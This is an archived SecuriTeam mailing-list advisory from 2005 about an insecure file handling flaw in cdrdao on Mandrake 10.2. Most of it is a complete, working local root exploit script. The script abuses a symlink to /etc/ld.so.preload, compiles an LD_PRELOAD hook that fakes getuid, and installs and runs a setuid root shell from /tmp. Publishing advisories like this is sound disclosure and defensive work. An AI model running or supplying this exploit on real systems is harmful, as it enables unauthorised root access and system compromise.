[EXPL] cdrdao Insecure File Handling (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/19/05

  • Next message: SecuriTeam: "[NEWS] Acrowave AAP-3100AR Authentication Bypass"
    To: list@securiteam.com
    Date: 19 May 2005 16:22:14 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      cdrdao Insecure File Handling (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    It seems that <http://www.securiteam.com/unixfocus/5PP0F1P61I.html>
    cdrdao insecure file handling vulnerability still exists in Mandrake.

    DETAILS

    Vulnerable Systems:
     * cdrdao in Mandrake version 10.2 (Mandriva 2005)

    Exploit:
    #!/bin/sh
    # cdrdao local root exploit
    # newbug [at] chroot.org
    # IRC: irc.chroot.org #chroot
    # May 2005
    echo "cdrdao private exploit"
    echo "This exploit only for Mandrake series"
    echo "newbug [at] chroot.org"
    echo "May 2005"

    echo "checking if cdrdao is setuid ...";
    if [ ! -u /usr/bin/cdrdao ]; then
            echo "[-] Failed";
            exit
    fi
    echo "[+] done.";
    echo "checking if /etc/ld.so.preload already exist ..."
    if [ -f /etc/ld.so.preload ]; then
            echo "[-] Failed."
            exit
    else
            echo "[+] done."
    fi

    echo "checking if ~/.cdrdao already exist ..."
    if [ -f ~/.cdrdao ]; then
            rm -rf ~/.cdrdao
    fi
    echo "[+] done."

    cd /tmp

    echo "preparing hook library ..."
    cat >ld.so.c<<EOF
    #include <stdlib.h>
    uid_t getuid()
    {
            return 0;
    }
    EOF
    echo "[+] done."
    echo "preparing shell program ..."
    cat >sh.c <<EOF
    #include <stdio.h>
    #include <unistd.h>

    int main(int argc,char **argv)
    {
            setreuid(0,0);
            setgid(0);

            unlink("/tmp/ld.so");
            if(getuid())
            {
                    printf("[-] Failed.\n");
                    unlink(argv[0]);
                    exit(0);
            }
            printf("[+] Congratulation, You win the game !!\n");
            unlink("/etc/ld.so.preload");

            execl("/bin/bash","bash",(char *)0);

            return 0;
    }
    EOF
    echo "[+] done."

    echo "link .cdrdao ==> /etc/ld.so.preload ..."
    ln -sf /etc/ld.so.preload ~/.cdrdao
    echo "[+] done."

    echo "compile hook library ..."
    gcc -shared -o ld.so ld.so.c
    echo "[+] done."
    echo "compile shell program ..."
    gcc -o sh sh.c
    echo "[+] done."

    umask 0

    echo "run cdrdao ..."
    cdrdao unlock --save >/dev/null 2>&1
    echo "[+] done."

    echo "checking if /etc/ld.so.preload created successful..."
    if [ -f /etc/ld.so.preload ]; then
            echo "[+] done."
    else
            echo "[-] Failed."
            exit
    fi
    echo "/tmp/ld.so">/etc/ld.so.preload
    rm -f /tmp/sh.c
    rm -f /tmp/ld.so.c
    su -c "chown root.root /tmp/sh;chmod 4755 /tmp/sh" >/dev/null 2>&1
    echo "!@#\$@%#$%#$%!@%^"
    /tmp/sh

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:newbug@chroot.org> newbug
    Tseng.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] Acrowave AAP-3100AR Authentication Bypass"

    Relevant Pages

    • [UNIX] Bacula Insecure Temporary File Creation and Information Disclosure
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... allow attackers to cause symbolic link attacks to create arbitrary files ... 17 echo "quit">>$tmp ... They are 2 vulnerabilities, symlink attack and password ...
      (Securiteam)
    • [UNIX] Cdrdao Insecure File Handling
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Debian Package of CDRDAO. ... echo "Generating Helper Files" ... echo "Entering Rootshell and removing Helper Files" ...
      (Securiteam)
    • [EXPL] Claroline Remote Code Execution (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Claroline Remote Code Execution ... echo "by rgod rgod at autistici.org\r\n"; ...
      (Securiteam)
    • [EXPL] myBlogger trackback SQL Injection
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A vulnerability in myBloggie allows remote attackers ... echo "administrative credentials disclosure exploit\n"; ... echo 'No response from '.$host.':'.$port; die; ...
      (Securiteam)
    • [EXPL] Lotus Domino Webmail Password Hash Dumper (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Lotus Domino WebMail, with "Generate HTML for all fields" enabled stores ...
      (Securiteam)